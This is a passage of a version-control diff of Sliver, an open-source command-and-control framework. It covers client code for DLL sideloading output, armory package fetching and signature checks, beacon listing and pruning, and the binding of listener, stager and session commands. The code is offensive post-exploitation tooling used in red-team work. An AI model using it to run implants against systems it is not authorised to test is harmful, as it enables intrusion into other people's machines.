<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -387,54 +340,20 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
+44 -96
View File
@@ -35,7 +35,6 @@ import (
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
type ArmoryIndex struct {
@@ -88,10 +87,7 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
@@ -106,7 +102,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
@@ -127,7 +123,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
@@ -197,14 +193,14 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
results = append(results, aliasPkg.CommandName)
for _, alias := range aliases {
if strings.HasPrefix(alias.CommandName, prefix) {
results = append(results, alias.CommandName)
}
}
for _, extensionPkg := range exts {
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
results = append(results, extensionPkg.CommandName)
for _, extension := range exts {
if strings.HasPrefix(extension.CommandName, prefix) {
results = append(results, extension.CommandName)
}
}
for _, bundle := range bundles {
@@ -217,37 +213,6 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
@@ -256,13 +221,13 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
URL string
}
entries := []pkgInfo{}
for _, aliasPkg := range aliases {
for _, alias := range aliases {
entries = append(entries, pkgInfo{
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
CommandName: alias.CommandName,
Version: alias.Version,
Type: "Alias",
Help: aliasPkg.Help,
URL: aliasPkg.RepoURL,
Help: alias.Help,
URL: alias.RepoURL,
})
}
for _, extension := range exts {
@@ -275,30 +240,34 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
})
}
rows := []table.Row{}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
@@ -315,26 +284,9 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
packages,
strings.Join(bundle.Packages, ", "),
})
}
con.Printf("%s\n", tw.Render())
@@ -407,7 +359,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
armoryResult.LastErr = errors.New("invalid URL scheme")
return
}
@@ -420,9 +372,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
if index != nil {
armoryResult.Index = *index
}
if err != nil {
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
}
armoryResult.LastErr = err
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
@@ -460,11 +410,11 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
pkgCacheEntry.LastErr = err
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
pkgCacheEntry.LastErr = errors.New("invalid URL scheme")
return
}
@@ -475,7 +425,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
pkgCacheEntry.LastErr = err
return
}
if sig != nil {
@@ -490,7 +440,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
pkgCacheEntry.LastErr = err
return
}
if armoryPkg.IsAlias {
@@ -498,8 +448,6 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
pkgCacheEntry.LastErr = err
}
}
+8 -121
View File
@@ -28,9 +28,6 @@ import (
"net"
"net/http"
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -44,11 +41,10 @@ type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubAPIArmoryIndexParser,
"api.github.com": GithubArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
"api.github.com": GithubArmoryPackageParser,
}
)
@@ -67,10 +63,6 @@ type armoryPkgResponse struct {
TarGzURL string `json:"tar_gz_url"`
}
//
// Default Parsers for Self-Hosted Armories
//
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
@@ -171,10 +163,6 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
return sig, tarGz, nil
}
//
// GitHub API Parsers
//
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
@@ -199,8 +187,8 @@ type GithubRelease struct {
Assets []GithubAsset `json:"assets"`
}
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
// GithubArmoryIndexParser - Parse the armory index from a GitHub release
func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
@@ -218,9 +206,6 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
return nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, errors.New("api returned non-200 status code")
}
@@ -275,8 +260,8 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
return armoryIndex, nil
}
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
// GithubArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -294,9 +279,6 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, errors.New("api returned non-200 status code")
}
@@ -343,101 +325,6 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
@@ -457,8 +344,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
+12 -12
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
)
// BeaconsCmd - Display/interact with beacons
@@ -46,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -62,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -92,14 +92,14 @@ func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
width, _, err := terminal.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if con.Settings.SmallTermWidth < width {
if 182 < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -134,13 +134,13 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Since(nextCheckin)
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := time.Until(nextCheckin)
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if con.Settings.SmallTermWidth < width {
if 182 < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -148,9 +148,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
@@ -158,9 +158,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
+1 -1
View File
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Since(nextCheckin)
delta := time.Now().Sub(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
+34 -169
View File
@@ -63,7 +63,6 @@ import (
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
@@ -108,11 +107,7 @@ func BindCommands(con *console.SliverConsoleClient) {
n++
}
if 0 < n {
if n == 1 {
con.PrintInfof("Loaded %d alias from disk\n", n)
} else {
con.PrintInfof("Loaded %d aliases from disk\n", n)
}
con.PrintInfof("Loaded %d alias(es) from disk\n", n)
}
// Load Extensions
@@ -422,8 +417,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -447,8 +442,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
@@ -471,13 +466,11 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start a stager listener",
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
Flags: func(f *grumble.Flags) {
f.String("p", "profile", "", "implant profile name to link with the listener")
f.String("p", "profile", "", "Implant profile name to link with the listener")
f.String("u", "url", "", "URL to which the stager will call back to")
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -506,47 +499,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.MultiplayerHelpGroup,
})
// [ Reconfig ] ---------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.ReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.RenameStr,
Help: "Rename the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.RenameCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Sessions ] --------------------------------------------------------------
sessionsCmd := &grumble.Command{
@@ -554,11 +506,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Session management",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
Flags: func(f *grumble.Flags) {
f.String("i", "interact", "", "interact with a session")
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.Bool("f", "force", false, "force session action without waiting for results")
f.String("i", "interact", "", "interact with a sliver")
f.String("k", "kill", "", "Kill the designated session")
f.Bool("K", "kill-all", false, "Kill all the sessions")
f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -572,10 +523,10 @@ func BindCommands(con *console.SliverConsoleClient) {
}
sessionsCmd.AddCommand(&grumble.Command{
Name: consts.PruneStr,
Help: "Kill all stale/dead sessions",
Help: "Kill all stale sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -588,6 +539,26 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(sessionsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active session",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "agent name to change to")
f.Int("r", "reconnect", -1, "reconnect interval for agent")
f.Int("p", "poll", -1, "poll interval for agent")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.SessionsReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.BackgroundStr,
Help: "Background an active session",
@@ -631,8 +602,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "namedpipe connection strings")
f.String("i", "tcp-pivot", "", "tcppivot connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
@@ -648,24 +619,6 @@ func BindCommands(con *console.SliverConsoleClient) {
}
con.App.AddCommand(openSessionCmd)
// [ Close ] --------------------------------------------------------------
closeSessionCmd := &grumble.Command{
Name: consts.CloseStr,
Help: "Close an interactive session without killing the remote process",
LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.CloseSessionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
con.App.AddCommand(closeSessionCmd)
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
@@ -832,30 +785,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "always-overflow",
